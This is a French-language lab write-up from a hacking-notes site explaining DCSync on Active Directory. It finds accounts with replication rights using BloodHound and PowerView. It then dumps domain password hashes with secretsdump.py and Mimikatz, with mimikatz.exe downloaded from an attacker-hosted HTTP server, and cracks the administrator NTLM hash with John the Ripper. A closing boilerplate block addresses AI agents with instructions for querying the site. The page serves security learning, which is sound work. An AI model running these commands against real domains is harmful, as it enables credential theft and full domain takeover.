> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md).

# Exploitation DCSync

#### Principe de DCSync

Dans Active Directory, les contrôleurs de domaine doivent se synchroniser entre eux afin de conserver une base de données cohérente.

Par exemple, lorsqu’une modification est apportée à un contrôleur de domaine, cette modification doit être répliquée vers les autres contrôleurs de domaine.

Cette réplication concerne en particulier :

* des utilisateurs ;
* les groupes ;
* les hachages de mots de passe ;
* les attributs d’Active Directory ;
* les objets du domaine ;
* les informations nécessaires au bon fonctionnement du domaine.

#### 2. Pourquoi DCSync est sensible

Un **DCSync** L’attaque ou la technique consiste à exploiter abusivement les droits de réplication d’Active Directory.

Normalement, seuls les contrôleurs de domaine devraient pouvoir interroger ces informations sensibles.

Mais si un utilisateur ou un groupe dispose de droits de réplication trop élevés, il peut se comporter comme un contrôleur de domaine et interroger des données sensibles depuis l’AD.

Les droits importants incluent :

```
DS-Replication-Get-Changes
DS-Replication-Get-Changes-All
DS-Replication-Get-Changes-In-Filtered-Set
```

Ces droits peuvent permettre de récupérer des informations critiques du domaine.

#### 3. Objectif du lab

Dans ce lab, l’objectif est d’identifier quels utilisateurs ou groupes disposent des droits DCSync.

Nous allons utiliser **BloodHound** pour trouver les comptes qui disposent de ces autorisations.

#### 4. Recherche des comptes ayant des droits DCSync dans BloodHound

Dans BloodHound, vous pouvez utiliser la requête prédéfinie suivante :

```bash
Trouver les principaux avec des droits DCSync
```

<figure><img src="/files/95a184342420ffd3a9381fe5aa567311ad62dc9b" alt=""><figcaption></figcaption></figure>

Cette requête identifie les principaux — utilisateurs, groupes ou ordinateurs — qui disposent de droits de réplication sur le domaine.

<figure><img src="/files/f80c7349033c246f71e80dd2d184872cd30882a0" alt=""><figcaption></figcaption></figure>

#### 5. Recherche avec PowerView

Avec PowerView, il est également possible d’identifier les comptes ayant ces droits à l’aide de la commande suivante :

{% code overflow="wrap" %}

```powershell
Get-ObjectAcl -ResolveGUIDs | ? {$_.ObjectAceType -match "DS-Replication-Get-Changes"} | select ObjectDN,ObjectAceType,@{name="Name";expression={Convert-SidToName $_.SecurityIdentifier}}
```

{% endcode %}

Cette commande affiche les objets dont les autorisations sont liées à la réplication d’Active Directory.

<figure><img src="/files/5e7daed44bdd1108a4d538806be131ad9966b0a1" alt=""><figcaption></figcaption></figure>

#### 6. Changement du mot de passe du compte ciblé

Dans le lab, nous changeons ensuite le mot de passe du compte identifié afin de pouvoir l’utiliser pour l’exploitation.

Mot de passe utilisé :

```
Password1@
```

#### 7. Exploitation à distance avec secretsdump

Vous pouvez ensuite utiliser `secretsdump.py` pour utiliser les droits DCSync à distance :

{% code overflow="wrap" %}

```bash
secretsdump.py 'whoami.local/hyacinthe.maryrose:'Password1@'@172.16.0.100'
```

{% endcode %}

Cela permet de récupérer des informations sensibles accessibles grâce aux droits de réplication du compte.

<figure><img src="/files/1dfba8c5a98f865d8d30abc4a99719dc0b45fc3c" alt=""><figcaption></figcaption></figure>

#### 8. Utilisation de Mimikatz sur une machine Windows

{% embed url="<https://github.com/gentilkiwi/mimikatz>" %}

Nous téléchargeons ensuite Mimikatz sous forme d’ `.zip` archive, puis transférons l’exécutable vers la machine Windows du lab.

Sur la machine attaquante, nous lançons un serveur HTTP :

{% code overflow="wrap" %}

```wasm
python3 -m http.server 8000
```

{% endcode %}

Depuis la machine Windows, nous téléchargeons l’exécutable

{% code overflow="wrap" %}

```powershell
(New-Object System.NET.WebClient).DownloadFile('http://172.16.0.2:8000/mimikatz.exe', 'mimikatz.exe')
```

{% endcode %}

Puis nous l’exécutons :

{% code overflow="wrap" %}

```powershell
. ./mimikatz.exe
```

{% endcode %}

<figure><img src="/files/7be1186bdcc2f5df49a3d453100ba8f8480ab50c" alt=""><figcaption></figcaption></figure>

#### 9. Récupération du hash de l’administrateur

Avec Mimikatz, vous pouvez interroger la réplication des secrets d’un utilisateur spécifique, par exemple le compte administrateur :

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /user:whoami/administrador
```

{% endcode %}

<figure><img src="/files/133e496ec0169afc3987fbbfb6c69bc3bfe1a4b3" alt=""><figcaption></figcaption></figure>

#### 10. Récupération des hash de tous les utilisateurs

Il est également possible d’interroger les informations pour tous les utilisateurs du domaine :

{% code overflow="wrap" %}

```powershell
lsadump::dcsync /whoami:whoami.local /all /csv
```

{% endcode %}

<figure><img src="/files/47da5b30f26ba44075c00dd350ce4521289112b5" alt=""><figcaption></figcaption></figure>

#### 12. Préparation du hash pour le cassage

Nous plaçons ensuite le hash récupéré dans un fichier dans un format compatible avec John the Ripper :

{% code overflow="wrap" %}

```bash
echo Administrador:500:aad3b435b51404eeaad3b435b51404ee:a87f3a337d73085c45f9416be5787d86::: > admin.hash
```

{% endcode %}

Puis nous lançons le cassage du hash NTLM :

{% code overflow="wrap" %}

```bash
john --format=NT admin.hash
```

{% endcode %}

<figure><img src="/files/9ddefe56913f711af958247d2e3b3de54127d898" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/active-directory/acl-security-descriptors-and-permissions/dcsync-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
